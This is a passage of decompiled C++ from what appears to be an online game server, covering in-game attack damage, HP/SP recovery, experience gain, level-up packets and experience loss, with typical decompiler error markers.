*(_BYTE *)(engarg + 15); v8 = *((_WORD *)v4 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v4 + 2) = v8; v7 = 7; *((_WORD *)v4 + 2) = 4 * v5 | (v8 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v7) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_smash : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); return v5; } //----- (004261C0) -------------------------------------------------------- #error "4261C0: undefined or illegal type '#593' (funcsize=54)" //----- (00426290) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#593 *this, int a2, int damage) { void *v3; // edi@1 int v4; // ebp@1 int v5; // eax@2 int v6; // ebx@2 signed __int16 v7; // dx@4 signed __int16 v8; // bp@4 char *v9; // eax@6 __int16 v10; // cx@6 signed int v11; // eax@7 int v12; // ST04_4@9 int v13; // eax@9 int result; // eax@10 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@9 int v16; // [sp+28h] [bp-4h]@1 char actionnumber; // [sp+38h] [bp+Ch]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_attack called", 0); v4 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1252))(a2); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1152))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); result = 0; } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1412))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)a2 + 1412))(a2); v5 = (*(int (__thiscall **)(int, int))(*(_DWORD *)a2 + 3140))(a2, damage); v6 = v5; if ( v5 > 0 ) { if ( v5 < v4 ) { (*(void (__thiscall **)(int, void *, int, signed int, signed int))(*(_DWORD *)a2 + 1468))(a2, v3, v5, 1000, 1); v7 = 5; v8 = 4; } else { (*(void (__thiscall **)(int, void *, int, signed int, signed int))(*(_DWORD *)a2 + 1464))(a2, v3, v4, 1000, 1); v7 = 7; v8 = 6; } v9 = gpp.pp_Buffer; v10 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v10; if ( v6 < 256 ) { *(_WORD *)v9 = v10 ^ (v8 ^ v10) & 0x3FF; *((_WORD *)v9 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v9 + 2) = *(_WORD *)(a2 + 4); v9[6] = v6; v9[7] = actionnumber; v11 = 6; } else { *(_WORD *)v9 = v10 ^ (v7 ^ v10) & 0x3FF; *((_WORD *)v9 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v9 + 2) = *(_WORD *)(a2 + 4); *((_WORD *)v9 + 3) = v6; v9[8] = actionnumber; v11 = 7; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v11 + 2); v12 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v16) = 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v13, v12, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); result = v6; } return result; } // 426290: inconsistent function type and number of purged bytes //----- (004264C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_attack(#593 *this, int a2) { #593 *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_attack(v2, a2); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); return v4; } // 4264C0: inconsistent function type and number of purged bytes //----- (00426570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = hp + *((_DWORD *)v2 + 1870); v4 = v3; *((_DWORD *)v2 + 1870) = v3; v5 = *((_DWORD *)v2 + 895); if ( v4 >= v5 ) *((_DWORD *)v2 + 1870) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); } //----- (004265F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *((_DWORD *)v2 + 1871); v4 = v3; *((_DWORD *)v2 + 1871) = v3; v5 = *((_DWORD *)v2 + 896); if ( v4 >= v5 ) *((_DWORD *)v2 + 1871) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); } //----- (00426670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_recoverhp"); v3 = hp + *(_DWORD *)((char *)v2 + 32209); v4 = v3; *(_DWORD *)((char *)v2 + 32209) = v3; v5 = *((_DWORD *)v2 + 895); if ( v4 >= v5 ) *(_DWORD *)((char *)v2 + 32209) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); } //----- (00426740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *(_DWORD *)((char *)v2 + 32213); v4 = v3; *(_DWORD *)((char *)v2 + 32213) = v3; v5 = *((_DWORD *)v2 + 896); if ( v4 >= v5 ) *(_DWORD *)((char *)v2 + 32213) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); } //----- (004267C0) -------------------------------------------------------- #error "4267C0: undefined or illegal type '#593' (funcsize=20)" //----- (00426800) -------------------------------------------------------- #error "426800: undefined or illegal type '#593' (funcsize=117)" //----- (004269C0) -------------------------------------------------------- #error "4269C0: undefined or illegal type '#593' (funcsize=132)" //----- (00426BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_ViewAggroList(void *this, int a2) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_ViewAggroList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_ViewAggroList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) { if ( *((_DWORD *)v2 + 2097) ) (*(void (__stdcall **)(int))(**((_DWORD **)v2 + 2097) + 24))(a2); else (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1924))(a2, "ERROR : selector °¡ NULL ÀÔ´Ï´Ù."); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_ViewAggroList"); } //----- (00426C60) -------------------------------------------------------- #error "426C60: undefined or illegal type '#593' (funcsize=72)" //----- (00426D60) -------------------------------------------------------- #error "426D60: undefined or illegal type '#593' (funcsize=120)" //----- (00426EF0) -------------------------------------------------------- #error "426EF0: undefined or illegal type '#593' (funcsize=43)" //----- (00426FB0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this) { void *v1; // esi@1 void *v2; // ST24_4@1 int v3; // eax@1 unsigned int v4; // ebx@1 unsigned int v5; // ebp@1 __int64 v6; // qdi@1 unsigned __int64 v7; // kr08_8@1 unsigned int result; // eax@2 v1 = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v1 + 32192); v4 = *(unsigned int *)((char *)&shineparam.scp_param.PrisonTime + v3 * 8); v5 = *(_DWORD *)(&shineparam.scp_param.LostExpLevel + v3 * 8); LODWORD(v6) = (__PAIR__(HIDWORD(shineparam.scp_param.nextexp[v3]), LODWORD(shineparam.scp_param.nextexp[v3])) - __PAIR__(v5, v4)) >> 32; HIDWORD(v6) = LODWORD(shineparam.scp_param.nextexp[v3]) - v4; v7 = *(_QWORD *)((char *)v2 + 32193) - __PAIR__(v5, v4); if ( v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4 + ((16 * v7 / __PAIR__(v6, HIDWORD(v6)) + 1) * __PAIR__(v6, HIDWORD(v6)) >> 4); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4; } return result; } //----- (004270F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GainExp(void *this, int expgain, __int16 questmobid, __int16 mobid) { void *v4; // esi@1 int v5; // edx@1 int v6; // edi@3 int v7; // edx@5 char *v8; // eax@6 char v9; // al@6 int v10; // eax@7 int v11; // ecx@10 int v12; // ebp@10 char *v13; // eax@10 __int16 v14; // bp@10 int v15; // eax@12 char *v16; // edi@13 ZoneBaseSession *v17; // eax@15 unsigned int v18; // edx@16 unsigned int v19; // edi@16 int v20; // ecx@16 int v21; // edx@19 int v22; // eax@19 int v23; // eax@19 char v24; // cl@19 char *v25; // eax@19 int v26; // eax@21 char *v27; // eax@22 int v28; // ST04_4@22 int v29; // eax@22 char *v30; // edi@22 ZoneBaseSession *v31; // eax@24 char *v32; // edi@25 int v33; // eax@25 int v34; // eax@25 ZoneBaseSession *v35; // eax@27 char *v36; // edi@30 char v37; // al@30 ZoneBaseSession *v38; // eax@31 SkillDataBox::SpecialSkill *v39; // eax@33 SkillDataBox::SpecialSkill *v40; // eax@34 SkillDataBox::SpecialSkill *v41; // eax@35 SkillDataBox::SpecialSkill *v42; // eax@36 int v43; // edi@37 int v44; // eax@37 char *v45; // ecx@38 char v46; // al@38 int v47; // eax@39 unsigned int v48; // eax@40 int v49; // edx@40 int v50; // edx@40 int v51; // edx@42 char *v52; // [sp+10h] [bp-2Ch]@9 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@22 int v54; // [sp+38h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GainExp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GainExp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v54 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v5 + 1152))(v4) == 3 || !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) ) { v52 = "ShineObjectClass::ShinePlayer::sp_GainExp"; goto LABEL_45; } v6 = expgain; if ( expgain > 0 ) { if ( mobid != -1 ) { v7 = *(_DWORD *)v4; expgain = mobid; if ( (*(int (__thiscall **)(void *, int *))(v7 + 1516))(v4, &expgain) == 1 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23565; *((_WORD *)v8 + 1) = expgain; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } } } if ( *((_BYTE *)v4 + 32192) >= (unsigned __int8)shineparam.scp_param.levellimit ) { v52 = "ShineObjectClass::ShinePlayer::sp_GainExp"; LABEL_45: v54 = -1; goto LABEL_46; } v11 = *(_DWORD *)((char *)v4 + 32193); v12 = *(_DWORD *)((char *)v4 + 32197); *(_DWORD *)((char *)v4 + 32193) = v6 + v11; *(_DWORD *)((char *)v4 + 32197) = ((unsigned __int64)v6 >> 32) + __CFADD__(v6, v11) + v12; v13 = gpp.pp_Buffer; v14 = questmobid; *(_WORD *)gpp.pp_Buffer = 9227; *(_DWORD *)(v13 + 2) = v6; *((_WORD *)v13 + 3) = v14; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 8); } v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4211; *((_WORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v16 + 2) = *(_DWORD *)((char *)v4 + 32193); *((_DWORD *)v16 + 3) = *(_DWORD *)((char *)v4 + 32197); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 16); } v18 = *(_DWORD *)((char *)v4 + 32197); v19 = *(_DWORD *)((char *)v4 + 32193); v20 = *((_BYTE *)v4 + 32192); if ( v18 < HIDWORD(shineparam.scp_param.nextexp[v20]) || v18 <= HIDWORD(shineparam.scp_param.nextexp[v20]) && v19 < LODWORD(shineparam.scp_param.nextexp[v20]) ) { if ( __PAIR__(v18, v19) > *((_QWORD *)v4 + 4034) ) { *((_DWORD *)v4 + 8068) = ShineObjectClass::ShinePlayer::sp_NextSaveExperience(v4); *((_DWORD *)v4 + 8069) = v51; } v54 = -1; v52 = "ShineObjectClass::ShinePlayer::sp_GainExp"; } else { v21 = *(_DWORD *)v4; ++*((_BYTE *)v4 + 32192); (*(void (__thiscall **)(void *))(v21 + 1400))(v4); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1260))(v4); ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v4, v22, 0, (int)"ShineObjectClass::ShinePlayer::sp_GainExp"); *(_DWORD *)((char *)v4 + 32209) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1260))(v4); v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1264))(v4); v24 = *((_BYTE *)v4 + 32192); *(_DWORD *)((char *)v4 + 32213) = v23; CCharacterTitleZone::CT_LevelUp((CCharacterTitleZone *)((char *)v4 + 140400), v24); CAnnounceSystem::AnnounceSystem_LevelMax(&gAnnounceSystem, (Name4 *)((char *)v4 + 32175), *((_BYTE *)v4 + 32192)); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v4 + 16544) + 4))((char *)v4 + 66176, *((_BYTE *)v4 + 32192)); v25 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9228; v25[2] = *((_BYTE *)v4 + 32192); *(_WORD *)(v25 + 3) = v14; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v4 + 1632))(v4, v25 + 5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 233) ) { v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v26 + 12))(v26, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 233); } v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9229; *((_WORD *)v27 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v27 + 2) = v14; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v28 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v54) = 1; v29 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v29, v28, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v54) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); WholeSaver::ws_savelevel2worldmamager(&wholesaver, (#734 *)v4); v30 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4212; *((_WORD *)v30 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v30 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v30[8] = *((_BYTE *)v4 + 32192); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v31); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 9); } v32 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1054; *(_DWORD *)(v32 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v33 = *(_DWORD *)((char *)v4 + 98); *(_DWORD *)(v32 + 6) = *(_DWORD *)v33; *(_DWORD *)(v32 + 10) = *(_DWORD *)(v33 + 4); *(_DWORD *)(v32 + 14) = *(_DWORD *)(v33 + 8); v34 = *(_DWORD *)((char *)v4 + 78); *(_DWORD *)(v32 + 18) = *(_DWORD *)v34; *(_DWORD *)(v32 + 22) = *(_DWORD *)(v34 + 4); v32[26] = *((_BYTE *)v4 + 32192); *(_DWORD *)(v32 + 27) = *(_DWORD *)((char *)v4 + 32193); *(_DWORD *)(v32 + 31) = *(_DWORD *)((char *)v4 + 32197); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { v35 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v35); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 35); } WholeSaver::ws_save2DB(&wholesaver, (#593 *)v4, 1, 8); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) == 1 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2140))(v4) ) { v36 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26517; *((_DWORD *)v36 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v36 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v36 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v36 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2140))(v4); v36[16] = *((_BYTE *)v4 + 32192); v37 = ProtocolPacket::pp_SetPacketLen(&gpp, 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v37, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 17) ) { v38 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v38); } } } if ( *((_BYTE *)v4 + 32192) >= 0x14u ) { v39 = SkillDataBox::sdb_SpecSkillStruct(&skilldatabox); if ( !CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v4 + 68496), v39->ss_ResolveProductMain) ) { v40 = SkillDataBox::sdb_SpecSkillStruct(&skilldatabox); ShineObjectClass::ShinePlayer::sp_LearnProduceMainSkill(v4, v40->ss_ResolveProductMain); } v41 = SkillDataBox::sdb_SpecSkillStruct(&skilldatabox); if ( !CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v4 + 68496), v41->ss_CompoundProductMain) ) { v42 = SkillDataBox::sdb_SpecSkillStruct(&skilldatabox); ShineObjectClass::ShinePlayer::sp_LearnProduceMainSkill(v4, v42->ss_CompoundProductMain); } } v43 = CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)((char *)v4 + 68496)); v44 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1712))(v4) - v43; if ( v44 > 0 ) { v45 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18448; v45[2] = v44; v46 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v46, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 3) ) { v47 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v47 + 12))(v47, v4, &gpp); } } ShineObjectClass::ShinePlayer::sp_StatRemainSend(v4); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 32))(v4, *((_BYTE *)v4 + 32192)); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1100))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1096))(v4); v48 = ShineObjectClass::ShinePlayer::sp_NextSaveExperience(v4); *((_DWORD *)v4 + 8069) = v49; v50 = *(_DWORD *)v4; *((_DWORD *)v4 + 8068) = v48; *(_BYTE *)(*((_DWORD *)v4 + 8040) + 188) = (*(int (__thiscall **)(void *))(v50 + 1236))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2928))(v4); v54 = -1; v52 = "ShineObjectClass::ShinePlayer::sp_GainExp"; } LABEL_46: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v52); } //----- (004277D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain) { void *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int v5; // eax@2 char *v6; // eax@4 int v7; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GainFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 32217); if ( v3 < 0xC350 ) { v4 = famegain; v5 = famegain + v3; *(_DWORD *)((char *)v2 + 32217) = v5; if ( (unsigned int)v5 >= 0xC350 ) { v4 = 50000 - v5 + famegain; *(_DWORD *)((char *)v2 + 32217) = 50000; } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9286; *(_DWORD *)(v6 + 2) = v4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_GainFame : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); } //----- (004278E0) -------------------------------------------------------- unsigned int __stdcall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa) { unsigned int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((signed int)nextexp - (signed int)prevexp) / 0x64u; if ( fa ) v3 = (unsigned int)(v3 * *(_WORD *)(fa + 159) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); return v3; } //----- (00427970) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa) { void *v4; // esi@1 unsigned int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = shineparam.scp_param.commonparam[(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4)]->ExpLostAtPvP; if ( fa ) v5 = ((signed int)((unsigned __int64)((signed int)(v5 * *(_WORD *)(fa + 161)) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((signed int)(v5 * *(_WORD *)(fa + 161)) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); return v5; } //----- (00427A40) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic(void *this, __int64 prevexp, __int64 nextexp, int fa) { void *v4; // esi@1 unsigned int v5; // ebx@1 int v6; // eax@1 unsigned __int8 v7; // al@6 bool v8; // cl@7 int v9; // eax@9 bool faa; // [sp+34h] [bp+14h]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, 